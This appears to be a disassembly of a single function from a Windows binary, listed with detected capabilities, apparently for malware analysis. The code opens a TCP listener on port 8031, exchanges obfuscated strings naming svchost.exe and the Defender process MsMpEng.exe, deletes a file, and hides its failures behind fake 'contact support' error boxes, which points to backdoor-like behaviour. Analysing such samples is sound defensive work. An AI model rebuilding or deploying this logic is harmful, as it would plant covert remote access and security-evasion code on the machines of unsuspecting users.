Function at 0x140050ee0
Capabilities:
Create tcp socket
Delete file
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration
Start tcp server
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x3d0]
sub rsp, 0x4d0
mov rax, qword [0x1401ab040]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
mov rdi, rcx
xor r15d, r15d
mov dword [rsp + 0x50], r15d
mov ecx, 0x202
lea rdx, [rbp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140050f54
xor r9d, r9d
lea r8, [0x14019bc08]
lea rdx, str.Please_restart_your_computer__if_that_didnt_work__contact_support._Error_0x91
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 1
mov r8d, 6
mov r14d, 2
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x1401ac840], rax
cmp rax, 0xffffffffffffffff
jne 0x140050fa3
xor r9d, r9d
lea r8, [0x14019bc08]
lea rdx, str.Please_restart_your_computer__if_that_didnt_work__contact_support._Error_0x92
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rbp - 0x80], 1
mov dword [rsp + 0x20], 4
lea r9, [rbp - 0x80]
mov edx, 0xffff
mov r8d, 4
mov rcx, rax
call qword [sym.imp.WS2_32.dll_setsockopt]
mov word [rbp - 0x58], r14w
mov ecx, 0x1f5f
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp - 0x56], ax
mov dword [rbp - 0x54], r15d
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x58]
mov rcx, qword [0x1401ac840]
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x140051033
xor r9d, r9d
lea r8, [0x14019bc08]
lea rdx, str.Please_restart_your_computer__if_that_didnt_work__contact_support._Error_0x93
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [0x1401ac840]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 5
mov rcx, qword [0x1401ac840]
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x14005107b
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Please_restart_your_computer__if_that_didnt_work__contact_support._Error_0x94
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [0x1401ac840]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140051088
mov rdx, qword [rdi]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rdx + r8], r15b
jne 0x1400510a3
lea rcx, [rsp + 0x30]
call fcn.140008090
nop
lea rcx, [rsp + 0x30]
call fcn.140050840
mov esi, eax
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140051103
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400510fe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400510fe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400680a4
test esi, esi
je 0x140051134
mov rcx, rdi
call fcn.1400055f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rcx, qword [0x1401ac840]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x1401ac840]
call qword [sym.imp.WS2_32.dll_accept]
mov qword [0x1401ac838], rax
cmp rax, 0xffffffffffffffff
jne 0x140051188
xor r9d, r9d
lea r8, [0x14019bc08]
lea rdx, str.Please_restart_your_computer__if_that_didnt_work__contact_support._Error_0x95
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [0x1401ac840]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
mov r8d, recv
lea rdx, str.svchost.exe
lea rcx, [rbp - 0x28]
call fcn.140008090
nop
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 8]
call fcn.1400056a0
mov rdx, rax
lea rcx, [rbp - 0x78]
call fcn.140050d60
nop
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rdx, qword [rbp - 0x78]
xor r9d, r9d
mov r8d, dword [rbp - 0x68]
mov rcx, qword [0x1401ac838]
call qword [sym.imp.WS2_32.dll_send]
xor r9d, r9d
cmp eax, 0xffffffff
jne 0x140051227
lea r8, [0x14019bc08]
lea rdx, str.Please_restart_your_computer__if_that_didnt_work__contact_support._Error_0x91
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [0x1401ac838]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8d, 0x1ff
lea rdx, [rbp + 0x1c0]
mov rcx, qword [0x1401ac838]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1400515f7
movsxd rcx, eax
cmp rcx, 0x200
jae 0x140051636
mov byte [rbp + rcx + 0x1c0], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
lea rax, [rbp + 0x1c0]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140051277
mov r8, rbx
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp - 0x48]
call fcn.140008090
nop
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 8]
call fcn.1400056a0
nop
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x60]
call fcn.1400056a0
mov rbx, rax
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
xor r8d, r8d
lea rdx, [0x140074081]
lea rcx, [rsp + 0x30]
call fcn.140008090
mov dword [rsp + 0x50], r14d
mov esi, r15d
cmp qword [rbx + 0x10], rsi
jbe 0x140051369
mov rdi, r15
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140051300
mov rax, qword [rbx]
movsx r9d, byte [rdi + rax]
sub r9d, 0x10
and r9d, 0x800000ff
jge 0x14005131f
dec r9d
or r9d, 0xffffff00
inc r9d
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
cmp rcx, rdx
jae 0x140051351
lea rax, [rcx + 1]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x30]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x14005135b
lea rcx, [rsp + 0x30]
call fcn.140008760
inc esi
inc rdi
movsxd rax, esi
cmp rax, qword [rbx + 0x10]
jb 0x1400512f3
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14005139f
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14005139a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400513e5
mov rcx, r8
call fcn.1400680a4
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], recv
mov byte [rbx], 0
lea rcx, [rsp + 0x30]
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x48]
cmp rdi, 0xf
cmova rcx, rbx
mov r8, qword [rsp + 0x40]
cmp r8, 0xb
jne 0x1400513ec
lea rdx, str.MsMpEng.exe
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400513ec
mov sil, 1
jmp 0x1400513ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor sil, sil
cmp rdi, 0xf
jbe 0x140051429
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140051421
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140051421
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400680a4
test sil, sil
je 0x1400515d5
mov byte [0x1401ac55b], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x140051478
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051472
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140051472
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400680a4
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x1400514b6
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400514b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400514b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400680a4
mov edx, 1
mov rcx, qword [0x1401ac838]
call qword [sym.imp.WS2_32.dll_shutdown]
cmp eax, 0xffffffff
jne 0x1400514ef
xor r9d, r9d
lea r8, [0x14019bc08]
lea rdx, str.Please_restart_your_computer__if_that_didnt_work__contact_support._Error_0x98
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [0x140050eb0]
call fcn.1400686c0
mov rcx, qword [0x1401ac838]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [0x1401ac840]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14005155a
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051555
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140051555
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400680a4
movdqa xmm0, xmmword [0x14019c8b0]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x1400515a9
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400515a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400515a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400680a4
mov rcx, qword [rbp + 0x3c0]
xor rcx, rsp
call fcn.140068040
lea r11, [rsp + 0x4d0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
xor r9d, r9d
lea r8, [0x14019bc08]
lea rdx, str.Please_restart_your_computer__if_that_didnt_work__contact_support._Error_0x96
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea r8, [0x14019bc08]
jne 0x14005161b
xor r9d, r9d
lea rdx, str.Please_restart_your_computer__if_that_didnt_work__contact_support._Error_0x901
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor r9d, r9d
lea rdx, str.Please_restart_your_computer__if_that_didnt_work__contact_support._Error_0x97
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400681e0
int3